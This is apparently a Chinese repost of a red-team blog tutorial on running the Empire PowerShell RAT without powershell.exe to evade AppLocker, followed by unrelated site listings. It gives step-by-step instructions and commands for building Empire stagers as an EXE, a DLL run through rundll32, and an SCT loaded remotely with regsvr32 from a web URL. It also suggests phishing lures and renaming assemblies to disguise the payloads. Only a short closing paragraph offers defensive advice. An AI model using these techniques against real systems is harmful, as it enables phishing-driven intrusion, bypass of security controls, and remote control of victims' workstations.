无 PowerShell.exe 执行 Empire 的几种姿势

简介: 本文讲的是无 PowerShell.exe 执行 Empire 的几种姿势,客户端已经使用AppLocker阻止了Powershell.exe运行,我也无法执行Cobalt Strike。我想通过网络钓鱼攻击在工作站上获得一个Empire的有效载荷,一旦我在内网立足我就需要准备攻击所用的有效载荷。
本文讲的是 无 PowerShell.exe 执行 Empire 的几种姿势客户端已经使用AppLocker阻止了Powershell.exe运行,我也无法执行Cobalt Strike。我想通过网络钓鱼攻击在工作站上获得一个Empire的有效载荷,一旦我在内网立足我就需要准备攻击所用的有效载荷。Empire中几乎所有的启动方法都依赖于使用PowerShell.exe的功能。像msbuild.exe这样的一些其他方法需要将文件放到磁盘上,我真的很喜欢利用regsvr32方法通过互联网加载我的.sct(它也会将文件丢到磁盘上)并使用ducky。我也非常感谢VBA在文档或HTA中的简单性。但问题是,Empire是一个Powershell RAT,所以PowerShell必须要能运行。

解决此问题的一种方法是通过互联网可访问的SMB共享来调用Empire.dll或Empire.exe。我还没有尝试这种方法,但确保它是有效的。我不喜欢SMB方法是因为这是出站的SMB连接,流量检测可以发现这种不寻常的行为。我相信我有一种好的解决办法。

我要使用的三个有效载荷

1.  构建一个empire.exe

2.  构建一个empire.dll

3.  构建一个不调用powershell.exe的empire.sct

我们将要使用的工具和资源有:

1.  SharpPick codebase by @sixdub

2.  DotNetToJS  由James Foreshaw(@tiraniddo)开发

3.  AllTheThings  由凯西史密斯(@subtee)开发

4.  Visual Studio。不是绝对必要的,但它是我所知道的,免费的且下载量很大的一个IDE。大概你可以使用csc.exe构建你的项目,但是我还没有测试过。我选择了Visual Studio 2010 for PowerPick,虽然在2012年可能会正常工作。我知道这很难下载。2010/2012的好处在于,它带有越来越难找到的旧的.NET库。

没有上述作者的一些研究工作,我将无法做到这一点,我非常感激这些前人。接下来是简单地组合一些不同的伟大工作,以达到我以前找不到工作的具体结果。

*注意:在我的研究中,我遇到了两个几乎完全相同的事情的项目,这两个项目都使用了DotNetToJScript,而这两个项目都对我非常有用。

1.  StarFighters  (@ Cn33liz)。首先,我非常喜欢从互联网直接下载运行编码过的二进制文件。这包含一个编码的powershell.exe,它接收并执行你的启动器代码。我尝试过,并且能够获得一个Empire Shell,但不能执行脚本。

2.  CACTUSTORCH  (@vysecurity)。我也尝试过这个,但是它真的想要将shellcode注入到你选择的二进制文件中,我无法弄清楚如何使用SharpPick将启动器设置为shellcode。这可能是可行的,我只是不知道如何使用。这个例子@vysecurity提供了使用Cobalt Strike或Meterpreter shellcode作为输出。

构建Empire.exe

我经常看到Cobalt Strike与“updates.exe”一起使用,这是一个无阶段运行的灯塔。对于Empire来说,你可以用这种方法做类似的事情。将其添加到电子邮件提示中,比如建议安装新的反病毒软件的欺骗邮件。或者通过psexec或wmi或在Outlook中嵌入的OLE对象  (@tyler_robinson)来运行它。

这可能是在不调用Powershell.exe的情况下获取代理的最简单的方法。

在开始前,请通过git 获取你的PowerPick副本,并在Visual Studio中打开该项目。

首先,你需要混淆某些项目属性。更改程序和程序集信息的名称。从菜单“项目 – > SharpPick属性”中选择即可进入。确保将“输出类型”更改为“Windows应用程序”,以便在从CLI中双击或执行后,程序能在后台运行。

无 PowerShell.exe 执行 Empire 的几种姿势

单击“组装信息”按钮,并更改这些属性。

无 PowerShell.exe 执行 Empire 的几种姿势

现在,你需要要将Program.cs中的代码更改为(gist):

无 PowerShell.exe 执行 Empire 的几种姿势

字符串“stager”只包含base64编码的Empire启动器信息。这将被解码并传递给RunPS(),它将PowerShell命令发送到System.Management.Automation,其中真正的PowerShell魔术实际上已经发生了。这是直接进入Windows的核心。

现在进入你的菜单,选择“Build – > Build Solution”或点击“F6”。你的牛逼闪闪的新二进制文件应该在“PowerTools  Empire_SCT  PowerPick  bin  x86  Debug”中生成。

**你可能会收到一个关于ReflectivePick没有建立的错误,没关系。你可以通过转到“Build – > Configuration Manager”并从“项目上下文”中取消选择“ReflectivePick”来消除该错误。我们不需要它。

通过双击可执行文件或简单地在CLI上运行它来测试你生成的二进制文件。它应该在你启动或执行后在后台运行。

构建Empire.dll

也许你需要一个DLL,所以你可以使用AppLocker绕过方式的其中一种来实现。一个很好的例子是rundll32.exe。为了做到这一点,我们将改变我们的项目,并在我们的代码中添加一些入口点。以下代码直接来自@ subtee的“AllTheThings”。

就像EXE一样,打开项目并改变这些属性。在项目属性中需要更改的其他重要事项是“输出类型”,它需要更改为 “类库”。你也应该将“启动对象”设置为下拉菜单中的默认值(基于你的命名空间和类名称)。

无 PowerShell.exe 执行 Empire 的几种姿势

接下来,安装Visual Studio的nuget包管理器。一旦安装完成,你需要通过运行以下命令来获取依赖关系“UnmanagedExports”:

PM> install-package UnmanagedExports

无 PowerShell.exe 执行 Empire 的几种姿势

接下来,打开“Program.cs”,并更改你的代码看起来像下面这样,除了几个“using”语句未显示,但大部分都包含在gist中:

无 PowerShell.exe 执行 Empire 的几种姿势

再次去“构建 – >构建解决方案”或点击“F6”,你应该在你的构建目录中会生成一个LegitLibrary.dll(和上面一样)。

通过运行以下步骤来测试新的DLL

rundll32.exe LegitLibrary.dll,EntryPoint

这应该会返回一个新的代理到你的EmpireC2。如果你查看Process Explorer,你将看到rundll32作为一个新的进程运行。

构建Empire.sct

这种方式可能是最复杂的,因为它涉及到一些比较繁琐的步骤。最终结果基本上是这样的:将PowerShell转换成.NET应用程序,将该.NET应用程序转换为一个javascript文件中的base64编码的二进制文件,然后将其填充到.SCT中。你可以使用regsvr32调用该脚本,该脚本可以执行在你的Web /文件服务器上存放的.SCT的JavaScript代码。

我们的目标是Empire.exe有效载荷,但是要转换为base64。项目选项应该与你为Empire.exe所做的相同,换句话说就是“Windows应用程序”。代码有点不一样,因为JavaScript需要一些公共方法来实现和执行我们的代码(gist)。

无 PowerShell.exe 执行 Empire 的几种姿势

构建后,去目录找到你生成的二进制,它应该是一个exe。

接下来,去下载DotNetToJScript  并在Visual Studio中打开该项目,将其.NET目标更改为“.NET 3.5”(或2.0)项目选项并编译(构建)它。一旦构建,找到DotNetToJScript.exe和它的配套NDesk.Options.dll,并将它们放在与LegitScript.exe二进制文件相同的位置。

运行以下命令(-c是入口点,更改为你选择的namespace.class):

. DotNetToJScript.exe -c = LegitScript.Program -o = legitscript.js legalscript.exe

这应该会输出一个legalscript.js。DotNetToJScript输出有其他几种语言,包括用于嵌入Office文档的VBA和VBScript,或者你可能需要的其他东西。

你可以通过运行以下步骤进行下一步的测试:

wscript.exe legalscript.js

执行后应该会在后台启动一个新的代理工作站。它将作为进程监视器中的“wscript”运行。

如果你已经确认这正常的工作了,那么现在是把它包装成一个.sct,所以我们可以用regsvr32.exe来调用它。

将legalscript.js的全部内容放入CDATA标签(如下图)。你可以使用以下方式获取Empire中的XML格式:

(Empire:usestager windows / launcher_sct

设置无关紧要,但你可以将其设置为监听器,并确保“OutFile”设置为null或“”空值,因为这将打印内容并进行屏幕显示。如果你从Empire获取内容,请从CDATA标签中删除所有内容,并将其替换为legalscript.js。

无 PowerShell.exe 执行 Empire 的几种姿势

保存为2legit.sct并进行测试:

regsvr32 / s / n / u /i:2legit.sct scrobj.dll

这会再次返回一个新的代理。你可以将该.sct保存到你的网络或文件服务器,并用“/i:https ://example.com/2legit.sct””远程替换“/i:” 。这是一个AppLocker绕过方式,因为regsvr32.exe是Microsoft签名的二进制文件。

结论

PowerShell非常的棒,攻击者已经使用它好几年了。我们向客户提供的最佳建议是通过PowerShell约束模式保持其环境的锁定,禁用PowerShell v2,并将企业级PowerShell升级到支持脚本块日志记录的最新版本。让PowerShell在你的环境中执行非常困难,几乎不切实际,因此至少知道何时以及如何使用它。




原文发布时间为:2017年8月31日
本文作者:丝绸之路
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。
目录
相关文章
|
机器学习/深度学习 人工智能 运维
深度 | 大数据算法应用的测试发展之路
随着最近几年数据计算力与机器智能算法的兴起,基于大数据 AI 算法的应用愈来愈热,大数据应用在各个行业也不断涌现。测试技术作为工程技术的一部分,也随着时代的不断变化在同步演进,在当下 DT 时代,如何测试和保障一个基于大数据的应用的软件质量,成为测试界的一个难题。 本文通过系统性地介绍阿里巴巴 AI 中台的技术质量体系——搜索推荐广告应用的质量是如何测试的,来尝试回答一下这个问题,希望能给大家带来一些借鉴,欢迎斧正,以便改进。
10225 3
深度 | 大数据算法应用的测试发展之路
|
测试技术 程序员
带你读《软件测试(原书第2版)》之二:软件开发的过程
本书涵盖了软件测试的方方面面:软件测试如何适应软件开发过程,基本的和高级的软件测试技术,在常见的测试任务中运用测试技能,使用自动化提高测试的效率,测试工作的计划和文档化,有效地报告发现的问题,衡量测试工作的成效和产品的改进,测试和质量保证的区别,寻求软件测试员的工作。
|
弹性计算 Ubuntu Apache
How to Install Puppet Master and Client on Ubuntu 16.04
This guide will help you through the steps of installing and configuring open source Puppet on ECS Ubuntu 16.
2441 0
How to Install Puppet Master and Client on Ubuntu 16.04
智能化运维平台部署(gunicorn+nginx+gevent+supervisor部署flask+vue)
目前智能化运维平台已完成第一版,架构采用基于VUE的大前端架构iview和基于python语言的后端架构flask。通过gunicorn+gevent+supervisor+nginx进行部署,现将部署思路、步骤、过程踩的坑和解决方案记录下来与大家分享,欢迎大家批评指正!
3990 0
|
XML C# 数据格式